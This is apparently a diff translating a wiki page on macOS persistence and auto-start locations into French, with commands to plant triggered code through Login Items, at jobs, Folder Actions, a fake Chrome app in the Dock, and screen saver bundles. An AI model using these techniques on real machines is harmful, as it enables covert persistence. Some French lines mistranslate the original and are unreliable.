-#### Location +#### Emplacement - **`~/.hammerspoon/init.lua`** - - **Trigger**: Once hammerspoon is executed +- **Déclencheur** : Une fois Hammerspoon exécuté #### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) serves as an automation platform for **macOS**, leveraging the **LUA scripting language** for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly. - -The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) sert de plateforme d'automatisation pour **macOS**, tirant parti du **langage de script LUA** pour ses opérations. Notamment, il prend en charge l'intégration de code AppleScript complet et l'exécution de scripts shell, améliorant considérablement ses capacités de script. +L'application recherche un seul fichier, `~/.hammerspoon/init.lua`, et lorsque démarré, le script sera exécuté. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` - ### BetterTouchTool -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But BetterTouchTool must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation-Shortcuts and Accessibility permissions +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais BetterTouchTool doit être installé +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- Il demande des autorisations d'Automatisation-Courts et d'Accessibilité #### Location - `~/Library/Application Support/BetterTouchTool/*` -This tool allows to indicate applications or scripts to execute when some shortcuts are pressed . An attacker might be able configure his own **shortcut and action to execute in the database** to make it execute arbitrary code (a shortcut could be to just to press a key). +Cet outil permet d'indiquer des applications ou des scripts à exécuter lorsque certains raccourcis sont pressés. Un attaquant pourrait être en mesure de configurer son propre **raccourci et action à exécuter dans la base de données** pour exécuter du code arbitraire (un raccourci pourrait consister simplement à appuyer sur une touche). ### Alfred -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Alfred must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation, Accessibility and even Full-Disk access permissions +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais Alfred doit être installé +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- Il demande des autorisations d'Automatisation, d'Accessibilité et même d'accès complet au disque #### Location - `???` -It allows to create workflows that can execute code when certain conditions are met. Potentially it's possible for an attacker to create a workflow file and make Alfred load it (it's needed to pay the premium version to use workflows). +Il permet de créer des flux de travail qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de flux de travail et de faire charger ce fichier par Alfred (il est nécessaire de payer la version premium pour utiliser les flux de travail). ### SSHRC -Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) +Writeup : [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But ssh needs to be enabled and used -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - SSH use to have FDA access +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais ssh doit être activé et utilisé +- Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +- L'utilisation de SSH nécessite un accès FDA #### Location - **`~/.ssh/rc`** - - **Trigger**: Login via ssh +- **Déclencheur** : Connexion via ssh - **`/etc/ssh/sshrc`** - - Root required - - **Trigger**: Login via ssh +- Accès root requis +- **Déclencheur** : Connexion via ssh > [!CAUTION] -> To turn ssh on requres Full Disk Access: +> Pour activer ssh, un accès complet au disque est requis : > > ```bash > sudo systemsetup -setremotelogin on @@ -635,30 +593,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g #### Description & Exploitation -By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **logins via SSH** the scripts **`/etc/ssh/sshrc`** and **`~/.ssh/rc`** will be executed. +Par défaut, sauf si `PermitUserRC no` dans `/etc/ssh/sshd_config`, lorsque un utilisateur **se connecte via SSH**, les scripts **`/etc/ssh/sshrc`** et **`~/.ssh/rc`** seront exécutés. ### **Login Items** -Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) +Writeup : [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to execute `osascript` with args -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais vous devez exécuter `osascript` avec des arguments +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) #### Locations - **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** - - **Trigger:** Login - - Exploit payload stored calling **`osascript`** +- **Déclencheur :** Connexion +- Charge utile d'exploitation stockée appelant **`osascript`** - **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** - - **Trigger:** Login - - Root required +- **Déclencheur :** Connexion +- Accès root requis #### Description -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ -It it's possible to list them, add and remove from the command line: - +Dans Préférences Système -> Utilisateurs et groupes -> **Éléments de connexion**, vous pouvez trouver **des éléments à exécuter lorsque l'utilisateur se connecte**.\ +Il est possible de les lister, d'ajouter et de supprimer depuis la ligne de commande : ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -669,57 +626,49 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` +Ces éléments sont stockés dans le fichier **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -These items are stored in the file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** +Les **éléments de connexion** peuvent **également** être indiqués en utilisant l'API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) qui stockera la configuration dans **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -**Login items** can **also** be indicated in using the API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) which will store the configuration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +### ZIP en tant qu'élément de connexion -### ZIP as Login Item +(Voir la section précédente sur les éléments de connexion, ceci est une extension) -(Check previous section about Login Items, this is an extension) +Si vous stockez un fichier **ZIP** en tant qu'**élément de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip était par exemple stocké dans **`~/Library`** et contenait le dossier **`LaunchAgents/file.plist`** avec un backdoor, ce dossier sera créé (il ne l'est pas par défaut) et le plist sera ajouté afin que la prochaine fois que l'utilisateur se connecte, le **backdoor indiqué dans le plist sera exécuté**. -If you store a **ZIP** file as a **Login Item** the **`Archive Utility`** will open it and if the zip was for example stored in **`~/Library`** and contained the Folder **`LaunchAgents/file.plist`** with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the **backdoor indicated in the plist will be executed**. - -Another options would be to create the files **`.bash_profile`** and **`.zshenv`** inside the user HOME so if the folder LaunchAgents already exist this technique would still work. +Une autre option serait de créer les fichiers **`.bash_profile`** et **`.zshenv`** dans le HOME de l'utilisateur, donc si le dossier LaunchAgents existe déjà, cette technique fonctionnerait toujours. ### At -Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) +Écriture : [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to **execute** **`at`** and it must be **enabled** -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais vous devez **exécuter** **`at`** et cela doit être **activé** +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement -- Need to **execute** **`at`** and it must be **enabled** +- Besoin de **exécuter** **`at`** et cela doit être **activé** #### **Description** -`at` tasks are designed for **scheduling one-time tasks** to be executed at certain times. Unlike cron jobs, `at` tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions. - -By **default** they are **disabled** but the **root** user can **enable** **them** with: +Les tâches `at` sont conçues pour **planifier des tâches uniques** à exécuter à certains moments. Contrairement aux tâches cron, les tâches `at` sont automatiquement supprimées après exécution. Il est crucial de noter que ces tâches persistent à travers les redémarrages du système, les marquant comme des préoccupations potentielles en matière de sécurité dans certaines conditions. +Par **défaut**, elles sont **désactivées** mais l'utilisateur **root** peut **les activer** avec : ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` - -This will create a file in 1 hour: - +Cela créera un fichier dans 1 heure : ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` - -Check the job queue using `atq:` - +Vérifiez la file d'attente des tâches en utilisant `atq:` ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` - -Above we can see two jobs scheduled. We can print the details of the job using `at -c JOBNUMBER` - +Au-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant `at -c JOBNUMBER` ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -744,18 +693,16 @@ LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { - echo 'Execution directory inaccessible' >&2 - exit 1 +echo 'Execution directory inaccessible' >&2 +exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` - > [!WARNING] -> If AT tasks aren't enabled the created tasks won't be executed. - -The **job files** can be found at `/private/var/at/jobs/` +> Si les tâches AT ne sont pas activées, les tâches créées ne seront pas exécutées. +Les **fichiers de travail** peuvent être trouvés à `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -764,46 +711,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` +Le nom de fichier contient la file d'attente, le numéro de travail et l'heure à laquelle il est prévu de s'exécuter. Par exemple, prenons un aperçu de `a0001a019bdcd2`. -The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at `a0001a019bdcd2`. +- `a` - c'est la file d'attente +- `0001a` - numéro de travail en hexadécimal, `0x1a = 26` +- `019bdcd2` - temps en hexadécimal. Il représente les minutes écoulées depuis l'époque. `0x019bdcd2` est `26991826` en décimal. Si nous le multiplions par 60, nous obtenons `1619509560`, ce qui correspond à `GMT: 2021. Avril 27., Mardi 7:46:00`. -- `a` - this is the queue -- `0001a` - job number in hex, `0x1a = 26` -- `019bdcd2` - time in hex. It represents the minutes passed since epoch. `0x019bdcd2` is `26991826` in decimal. If we multiply it by 60 we get `1619509560`, which is `GMT: 2021. April 27., Tuesday 7:46:00`. +Si nous imprimons le fichier de travail, nous constatons qu'il contient les mêmes informations que celles obtenues en utilisant `at -c`. -If we print the job file, we find that it contains the same information we got using `at -c`. +### Actions de dossier -### Folder Actions +Écriture : [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ +Écriture : [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ -Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) +- Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) +- Mais vous devez être en mesure d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de dossier +- Contournement TCC : [🟠](https://emojipedia.org/large-orange-circle) +- Il a quelques autorisations TCC de base comme Bureau, Documents et Téléchargements -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to be able to call `osascript` with arguments to contact **`System Events`** to be able to configure Folder Actions -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - It has some basic TCC permissions like Desktop, Documents and Downloads - -#### Location +#### Emplacement - **`/Library/Scripts/Folder Action Scripts`** - - Root required - - **Trigger**: Access to the specified folder +- Root requis +- **Déclencheur** : Accès au dossier spécifié - **`~/Library/Scripts/Folder Action Scripts`** - - **Trigger**: Access to the specified folder +- **Déclencheur** : Accès au dossier spécifié #### Description & Exploitation -Folder Actions are scripts automatically triggered by changes in a folder such as adding, removing items, or other actions like opening or resizing the folder window. These actions can be utilized for various tasks, and can be triggered in different ways like using the Finder UI or terminal commands. +Les Actions de dossier sont des scripts automatiquement déclenchés par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface Finder ou des commandes terminal. -To set up Folder Actions, you have options like: +Pour configurer les Actions de dossier, vous avez des options comme : -1. Crafting a Folder Action workflow with [Automator](https://support.apple.com/guide/automator/welcome/mac) and installing it as a service. -2. Attaching a script manually via the Folder Actions Setup in the context menu of a folder. -3. Utilizing OSAScript to send Apple Event messages to the `System Events.app` for programmatically setting up a Folder Action. - - This method is particularly useful for embedding the action into the system, offering a level of persistence. - -The following script is an example of what can be executed by a Folder Action: +1. Créer un flux de travail d'Action de dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service. +2. Attacher un script manuellement via la configuration des Actions de dossier dans le menu contextuel d'un dossier. +3. Utiliser OSAScript pour envoyer des messages Apple Event à `System Events.app` pour configurer programmétiquement une Action de dossier. +- Cette méthode est particulièrement utile pour intégrer l'action dans le système, offrant un niveau de persistance. +Le script suivant est un exemple de ce qui peut être exécuté par une Action de dossier : ```applescript // source.js var app = Application.currentApplication(); @@ -813,15 +758,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` - -To make the above script usable by Folder Actions, compile it using: - +Pour rendre le script ci-dessus utilisable par les Actions de Dossier, compilez-le en utilisant : ```bash osacompile -l JavaScript -o folder.scpt source.js ``` - -After the script is compiled, set up Folder Actions by executing the script below. This script will enable Folder Actions globally and specifically attach the previously compiled script to the Desktop folder. - +Après la compilation du script, configurez les actions de dossier en exécutant le script ci-dessous. Ce script activera les actions de dossier globalement et attachera spécifiquement le script précédemment compilé au dossier Bureau. ```javascript // Enabling and attaching Folder Action var se = Application("System Events") @@ -831,17 +772,13 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" }) se.folderActions.push(fa) fa.scripts.push(myScript) ``` - -Run the setup script with: - +Exécutez le script de configuration avec : ```bash osascript -l JavaScript /Users/username/attach.scpt ``` +- Voici comment implémenter cette persistance via l'interface graphique : -- This is the way yo implement this persistence via GUI: - -This is the script that will be executed: - +Voici le script qui sera exécuté : ```applescript:source.js var app = Application.currentApplication(); app.includeStandardAdditions = true; @@ -850,59 +787,55 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` +Compilez-le avec : `osacompile -l JavaScript -o folder.scpt source.js` -Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` - -Move it to: - +Déplacez-le vers : ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` - -Then, open the `Folder Actions Setup` app, select the **folder you would like to watch** and select in your case **`folder.scpt`** (in my case I called it output2.scp): +Ensuite, ouvrez l'application `Folder Actions Setup`, sélectionnez le **dossier que vous souhaitez surveiller** et sélectionnez dans votre cas **`folder.scpt`** (dans mon cas, je l'ai appelé output2.scp) :
-Now, if you open that folder with **Finder**, your script will be executed. +Maintenant, si vous ouvrez ce dossier avec **Finder**, votre script sera exécuté. -This configuration was stored in the **plist** located in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64 format. +Cette configuration a été stockée dans le **plist** situé dans **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** au format base64. -Now, lets try to prepare this persistence without GUI access: +Maintenant, essayons de préparer cette persistance sans accès GUI : -1. **Copy `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** to `/tmp` to backup it: - - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **Remove** the Folder Actions you just set: +1. **Copiez `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** dans `/tmp` pour le sauvegarder : +- `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` +2. **Supprimez** les actions de dossier que vous venez de définir :
-Now that we have an empty environment +Maintenant que nous avons un environnement vide -3. Copy the backup file: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. Open the Folder Actions Setup.app to consume this config: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +3. Copiez le fichier de sauvegarde : `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +4. Ouvrez l'application Folder Actions Setup.app pour consommer cette configuration : `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` > [!CAUTION] -> And this didn't work for me, but those are the instructions from the writeup:( +> Et cela n'a pas fonctionné pour moi, mais ce sont les instructions du rapport : -### Dock shortcuts +### Raccourcis Dock -Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) +Rapport : [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to have installed a malicious application inside the system -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +- Mais vous devez avoir installé une application malveillante dans le système +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - `~/Library/Preferences/com.apple.dock.plist` - - **Trigger**: When the user clicks on the app inside the dock +- **Déclencheur** : Lorsque l'utilisateur clique sur l'application dans le dock #### Description & Exploitation -All the applications that appear in the Dock are specified inside the plist: **`~/Library/Preferences/com.apple.dock.plist`** - -It's possible to **add an application** just with: +Toutes les applications qui apparaissent dans le Dock sont spécifiées dans le plist : **`~/Library/Preferences/com.apple.dock.plist`** +Il est possible d'**ajouter une application** juste avec : ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' @@ -910,9 +843,7 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -965,92 +896,86 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` - -### Color Pickers +### Sélecteurs de Couleur Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - A very specific action needs to happen - - You will end in another sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +- Une action très spécifique doit se produire +- Vous finirez dans un autre sandbox +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - `/Library/ColorPickers` - - Root required - - Trigger: Use the color picker +- Accès root requis +- Déclencheur : Utilisez le sélecteur de couleur - `~/Library/ColorPickers` - - Trigger: Use the color picker +- Déclencheur : Utilisez le sélecteur de couleur #### Description & Exploit -**Compile a color picker** bundle with your code (you could use [**this one for example**](https://github.com/viktorstrate/color-picker-plus)) and add a constructor (like in the [Screen Saver section](macos-auto-start-locations.md#screen-saver)) and copy the bundle to `~/Library/ColorPickers`. +**Compilez un sélecteur de couleur** bundle avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la [section Économiseur d'Écran](macos-auto-start-locations.md#screen-saver)) et copiez le bundle dans `~/Library/ColorPickers`. -Then, when the color picker is triggered your should should be aswell. - -Note that the binary loading your library has a **very restrictive sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +Ensuite, lorsque le sélecteur de couleur est déclenché, votre code devrait l'être aussi. +Notez que le binaire chargeant votre bibliothèque a un **sandbox très restrictif** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl - [Value] - [Array] - [String] (deny file-write* (home-subpath "/Library/Colors")) - [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) - [String] (allow file-read* (extension "com.apple.app-sandbox.read")) +[Value] +[Array] +[String] (deny file-write* (home-subpath "/Library/Colors")) +[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) +[String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` - ### Finder Sync Plugins -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ -**Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) +**Écriture** : [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ +**Écriture** : [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) -- Useful to bypass sandbox: **No, because you need to execute your own app** -- TCC bypass: ??? +- Utile pour contourner le sandbox : **Non, car vous devez exécuter votre propre application** +- Contournement TCC : ??? -#### Location +#### Emplacement -- A specific app +- Une application spécifique #### Description & Exploit -An application example with a Finder Sync Extension [**can be found here**](https://github.com/D00MFist/InSync). - -Applications can have `Finder Sync Extensions`. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it **must be signed** with some valid Apple developer certificate, it must be **sandboxed** (although relaxed exceptions could be added) and it must be registered with something like: +Un exemple d'application avec une extension Finder Sync [**peut être trouvé ici**](https://github.com/D00MFist/InSync). +Les applications peuvent avoir des `Finder Sync Extensions`. Cette extension ira à l'intérieur d'une application qui sera exécutée. De plus, pour que l'extension puisse exécuter son code, elle **doit être signée** avec un certificat de développeur Apple valide, elle doit être **sandboxée** (bien que des exceptions assouplies puissent être ajoutées) et elle doit être enregistrée avec quelque chose comme : ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` - -### Screen Saver +### Économiseur d'écran Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in a common application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous finirez dans un bac à sable d'application commun +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - `/System/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- Root requis +- **Déclencheur** : Sélectionnez l'économiseur d'écran - `/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- Root requis +- **Déclencheur** : Sélectionnez l'économiseur d'écran - `~/Library/Screen Savers` - - **Trigger**: Select the screen saver +- **Déclencheur** : Sélectionnez l'économiseur d'écran
#### Description & Exploit -Create a new project in Xcode and select the template to generate a new **Screen Saver**. Then, are your code to it, for example the following code to generate logs. - -**Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: +Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel **Économiseur d'écran**. Ensuite, ajoutez votre code, par exemple le code suivant pour générer des journaux. +**Construisez**-le, et copiez le bundle `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez dessus, cela devrait générer beaucoup de journaux : ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1059,12 +984,10 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` - > [!CAUTION] -> Note that because inside the entitlements of the binary that loads this code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) you can find **`com.apple.security.app-sandbox`** you will be **inside the common application sandbox**. +> Notez qu'en raison de la présence de **`com.apple.security.app-sandbox`** dans les droits du binaire qui charge ce code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), vous serez **dans le bac à sable d'application commun**. Saver code: - ```objectivec // // ScreenSaverExampleView.m @@ -1079,161 +1002,156 @@ Saver code: - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - self = [super initWithFrame:frame isPreview:isPreview]; - if (self) { - [self setAnimationTimeInterval:1/30.0]; - } - return self; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +self = [super initWithFrame:frame isPreview:isPreview]; +if (self) { +[self setAnimationTimeInterval:1/30.0]; +} +return self; } - (void)startAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super startAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super startAnimation]; } - (void)stopAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super stopAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super stopAnimation]; } - (void)drawRect:(NSRect)rect { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super drawRect:rect]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super drawRect:rect]; } - (void)animateOneFrame { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return; } - (BOOL)hasConfigureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return NO; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return NO; } - (NSWindow*)configureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return nil; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` - -### Spotlight Plugins +### Plugins Spotlight writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in an application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - The sandbox looks very limited +- Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous finirez dans un bac à sable d'application +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) +- Le bac à sable semble très limité -#### Location +#### Emplacement - `~/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. +- **Déclencheur** : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé. - `/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Déclencheur** : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé. +- Root requis - `/System/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Déclencheur** : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé. +- Root requis - `Some.app/Contents/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - New app required +- **Déclencheur** : Un nouveau fichier avec une extension 